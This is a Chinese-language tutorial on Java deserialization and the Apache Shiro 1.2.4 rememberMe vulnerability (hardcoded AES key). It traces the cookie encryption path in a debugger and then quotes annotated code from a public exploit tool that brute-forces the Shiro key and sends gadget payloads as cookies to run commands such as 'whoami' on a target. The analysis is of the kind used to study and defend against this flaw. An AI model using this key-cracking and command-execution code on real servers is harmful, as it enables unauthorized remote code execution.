1.用一个简单的例子来说明反序列化导致RCE的过程
2.对Shiro漏洞
3.通过两个Shiro反序列化的工具分析大致的利用过程
1.序列化:将对象转化为字节流
2.反序列化:将字节流转化为对象
在Java中,只要某个接口实现了java.io.Serialization
接口,就可以被序列化。
创建一个简单的Company类company.java
,任意添加两个属性公司名和公司id,并实现java.io.Serialization
接口。
import java.io.IOException;
import java.io.Serializable;public class Company implements Serializable {
public String companyName;
public int companyId;
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public int getCompanyId() {
return companyId;
}
public void setCompanyId(int companyId) {
this.companyId = companyId;
}
然后新建一个Test.java
,给两个属性赋值然后将序列化生成的文件反序列化回来。
import java.io.*;public class Test {
public static void main(String[] args) throws Exception{
// 初始化对象
Company company = new Company();
company.setCompanyName("Baidu");
company.setCompanyId(1);
// 序列化步骤
// 1。创建一个ObjectOutputStream输出流
// 2。调用ObjectOutputStream对象的writeObject输出可序列化对象
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream(new File("./Company.txt")));
oss.writeObject(company);
System.out.println("Company对象序列化成功");
// 反序列化步骤
// 1。创建一个ObjectInputStream输入流
// 2。调用ObjectInputStream对象的readObject()得到序列化的对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./Company.txt")));
Company company1 = (Company) ois.readObject();
System.out.println("people对象反序列化成功");
System.out.println(company1.getCompanyName());
System.out.println(company1.getCompanyId());
}
}
运行Test.java
可以看到程序已经可以成功的进行序列化和反序列化
打开Company.txt可以看到被序列化的内容:
在Company.java
中加入以下方法,重写People
类的readObject()
方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
然后重新运行Test.java
可以看到新插入的方法已经生效,成功的在反序列化的过程中打开了计算器软件
Apache Shiro是一个开源的安全认证框架,提供了身份验证、授权、密码学和会话管理。
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
• 获取rememberMe cookie
• base64 decode
• 解密AES(加密密钥硬编码)
• 反序列化(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
下载Shiro源码并进行基础运行环境搭建,下文中用到的源代码是 https://github.com/apache/shiro.git ,下载成功后进入shiro目录执行git checkout shiro-root-1.2.4切换一下版本,就可以使用了。感兴趣的小伙伴可以自己下载下来研究研究。
环境搭建的简单过程:
1.修改源代码pom.xml
文件中的jstl
版本为1.2
2.下载好源代码之后用IDEA打开项目
3.配置好自己的tomcat路径用于一会的debug过程
环境配置好之后在org.apache.shiro.mgt.RememberMeManager.class.onSuccessfulLogin
处打上断点然后开始debug,程序启动之后会弹出配置tomcat时默认的浏览器,在弹出的浏览器中点击log in
然后输入显示的账号和密码,注意一定要勾选Remember Me
的复选框,程序就会运行至打断点的地方停止。
可以看到程序已经获取到我们输入的账号root并停止在了打断点的地方,简单看一下onSuccessfulLogin
的逻辑,开始先掉用了forgetIdentity
函数,我们重点关注下面的语句
1.先用if语句进行判断,用户是否勾选Remember Me
2.如果勾选的话就调用rememberIdentity
函数
3.如果没有勾选就直接在输出log
得出序列化的过程应该是在rememberIdentity
中实现的,所以继续跟进rememberIdentity
函数
看到现先是调用了getIdentityToRemember
函数查询到登陆的用户是root,然后调用rememberidentity
,所以继续跟进rememberidentity
函数
调用了convertPrincipalsToBytes
,传入的参数是我们当前的用户root,然后用一个字节变量来接收结果,回想一下文章开头介绍的序列化的概念这个convertPrincipalsToBytes
函数是序列化过程没跑了。跟进!
可以看到convertPrincipalsToBytes
的执行流程:
1.调用serialize
对principals
进行序列化,并存储为字节流
2.判断是否为空
3.返回该字节流
继续跟进serialize
函数
又是一个调用serialize
的函数,继续跟进:
可以看到是一个跟我们前面的例子里面长的差不多的一个标准的序列化的过程,只是多了一个输出日志和信息的过程,继续跟进
这里使用一个getCipherService()
判断加密方式是否为空,然后接一个判断,如果加密方式不为空的话调用encrypt()
进行加密
进入encrypt
函数可以看到加密的过程:
1.接收序列化之后的字节流
2.获取加密方式
3.判断加密方式是否为空
4.不为空的话调用cipherService.encrypt()
方法对字节流进行加密
5.返回加密的结果
继续跟进cipherService.encrypt()
查看具体实现的方法
这里可以看到cipherService.encrypt()
需要传入之前序列化之后的数据和key作为参数,这个地方的key就是我们常常用工具爆破Shiro Key的那个Key,前面获取密钥key
和接下来获取初始向量iv
的方法就不跟进查看具体实现了,感兴趣的小伙伴可以自己试着看看过程,我们来直接看看最后的这个return
的加密过程是怎么实现的
这里看到给encrypt()
传入了序列化之后的字节流、密钥、初始向量、prependIv
作为参数
1.定义一output
用于接收加密结果
2.判断prependIv
和iv
参数是否为空
3.不为空的话用加密函数进行加密
继续跟进,经过一路的return
我们最终回到了我们熟悉的rememberIdentity
,继续跟进rememberSerializedIdentity
可以看到我们最终的加密数据被base64
编码之后变成了千呼万唤始出来的cookie
然后光荣的进入到下面的流程里面交给response
最终被set
进cookie
里面了。
由于不知道反序列化是从何处开始的,也不知道在何处打断点,但是在刚刚序列化的过程中我们经过了一个encrypt
方法,这个方法的下面紧接着写着一个dencrypt
方法,这个方法应该就是反序列化的过程中调用的,所以我们只要溯源一下这个方法的引用就可以追到反序列化了。
想上查找发现convertBytesToPrincipals
调用了dencrypt
方法
然后发现了这个getRememberedSerializedIdentity
翻译过来是获得记住的序列化身份,继续查找引用找到了一个getRememberedPrincipals
应该就是我们要找的反序列化过程的开始
在getRememberedPrincipals
打上断点,然后直接下一步就跳转到了getRememberedSerializedIdentity
,我们来看看这个函数
这里由于没有找到如何能让程序找到登录信息的方法所以没有获取到登录信息中被base64
的cookie
,不过没关系,我们直接来看看源码,这里的逻辑也比较简单,就是直接使用getCookie
来获取cookie
值,如果获取到了,就直接进行一遍base64
的decode
然后直接return
回去
然后就又进入到了我们的上一张图片里面,先是判断了一下这个返回的字节串是否为空,不为空的话就直接调用convertBytesToPrincipals
来解密
可以看到convertBytesToPrincipals
直接调用了dencrypt
来进行解密操作
然后跟加密操作一样,先是调用getCipherService
来获取一下解密的方法,然后将解密方法和待解密的字段一起作为参数传入了cipherService.decrypt()
方法
和加密方法大差不差,就不展开说了,解密之后最终会一路return
到我们最开始调试的时候,然后交给请求处理模块,浏览器就能成功的记住我们了。
综上,整个流程为
• 读取cookie中rememberMe值
• base64解码
• AES解密
• 反序列化
其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe
值,改造其readObject()
方法,让其在反序列化时执行任意操作。
综上所述,漏洞可以被利用的大部分原因就是因为我们可以手动的构造rememberMe
的值,可以构造值的前提是我们知道AES
加密的密钥,所以漏洞利用工具的第一步,就是破解密钥,由于该密钥是在程序中写死的,且项目又是开源的,所以我们只要收集足够多的密钥,就可以暴力破解出密钥。
将工具的代理设置到burpsuite
,我们可以看到密钥爆破时,如果使用正确的密钥,Response
头里就不会出现rememberMe=deleteMe
,大概的原理就是利用shiro解密过程中的一个异常的回显去判断,具体的原理分析可以参考大佬的博客中的Shiro密钥检测工具编写思路https://www.yang99.top/index.php/archives/76/。可以看到工具爆破key都是这个思路
def check_key(url=None,key=None,version=0):
checker = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" //定义checker,可触发解密过程异常,回显deleteMe
if key is not None:
try:
if version==2:
base64_ciphertext = aes_v2(checker,key)
else:
base64_ciphertext = aes(checker,key)
cookie={"rememberMe":base64_ciphertext.decode()}
print (cookie)
return
except Exception as e:
print (e)
return
knock=requests.get(url,cookies={"rememberMe":"123"},verify=False,allow_redirects=False) //随意设置一个rememberMe值
if "rememberMe=deleteMe" not in knock.headers['Set-Cookie']: //若返回包中没有rememberMe=deleteMe则可能没有使用Shiro框架
print ("May not use Shiro")
return
else:
count=knock.headers['Set-Cookie'].count("rememberMe=deleteMe")
print("Target Used Shiro,Staring butre key:")
shiro_key=""
for key in keys: //遍历key列表
if version==2: //选择版本
base64_ciphertext=aes_v2(checker,key) //构造加密后的cookie
elif version==1:
base64_ciphertext=aes(checker,key)
else:
print ("You must Specific Shiro Version to 1 or 2 or left it empty")
cookie={"rememberMe":base64_ciphertext.decode()}
print ("Checking :{0}".format(key),end='\r')
rsp = requests.get(url,cookies=cookie,headers=headers,allow_redirects=False,verify=False)
if 'Set-Cookie' not in rsp.headers.keys() or rsp.headers['Set-Cookie'].count("rememberMe=deleteMe") == count-1: //判断是否成功,判断的逻辑就是统计所有的rememberMe=deleteMe,如果包个数比rememberMe=deleteMe个数少一个,说明刚刚验证的key是对的
print ("Version "+str(version)+" Key Found: {}\n".format(key))
sys.exit()
shiro_key=key
break
else :
pass
if shiro_key == "":
print ("\b")
print ("Version: "+ str(version)+" Key Not Found")
可以看一下这个利用脚本爆破key的大致过程,关键步骤我做了注释,项目来自于https://github.com/Ares-X/shiro-exploit
接下来就是利用链和回显方式的爆破,也可以参考大佬的文章CommonsBeanutils1利用链分析https://www.yang99.top/index.php/archives/67/
可以看一下大概的攻击过程,对重要流程家了注释
def echo_exploit(gadget,url=None,key=None,command=None,version=1):
global shiro_key
if gadget in tomcatEchoPayload:
key=key if key else shiro_key
checker=str(uuid.uuid1())
command = command + " && echo " + checker if command else "whoami"+ " && echo "+ checker
headers = {"Testecho":checker,"Testcmd":command}
if version==2: //选择版本
payload = aes_v2(tomcatEchoPayload[gadget],key) //利用相对应版本的加密函数用爆破出的key进行加密
else:
payload = aes(tomcatEchoPayload[gadget],key)
try:
if url:
rsp=requests.get(url,headers=headers,cookies={"rememberMe":payload.decode()},verify=False,stream=True) //构造包将payload作为cookie发送
if rsp.headers["Testecho"]==checker: //判断是否攻击成功
print ("Congratulation: exploit success\n")
regex=re.compile(r'((?:.|\n)*){0}'.format(checker)) //匹配包含回显的地方
try:
flag = 0
try:
for i in rsp.iter_content(chunk_size=102400):
if checker in str(i.decode()):
flag=1
print (i.decode().replace(checker,""))
except:
pass
if flag !=1:
result=regex.findall(rsp.text) //提取回显,给result
print (result[0])
except Exception as e:
print (e)
print ("Failed to get result,check response manual \n")
else:
print ("Exploit Manual: \n")
print ("Testcmd: whoami")
print ("Cookie: rememberMe={}".format(payload.decode()))
except Exception as e:
print ("Something error: "+str(e))
print ("Exploit Manual: \n")
print ("Testcmd: whoami")
print ("Cookie: rememberMe={}".format(payload.decode()))
else:
print ("Gadget Not Support")
感兴趣的同学赶紧试起来吧,顺手提供一个可以在线解密Shiro cookie的工具https://vulsee.com/tools/shiroDe/shiroDecrypt.html。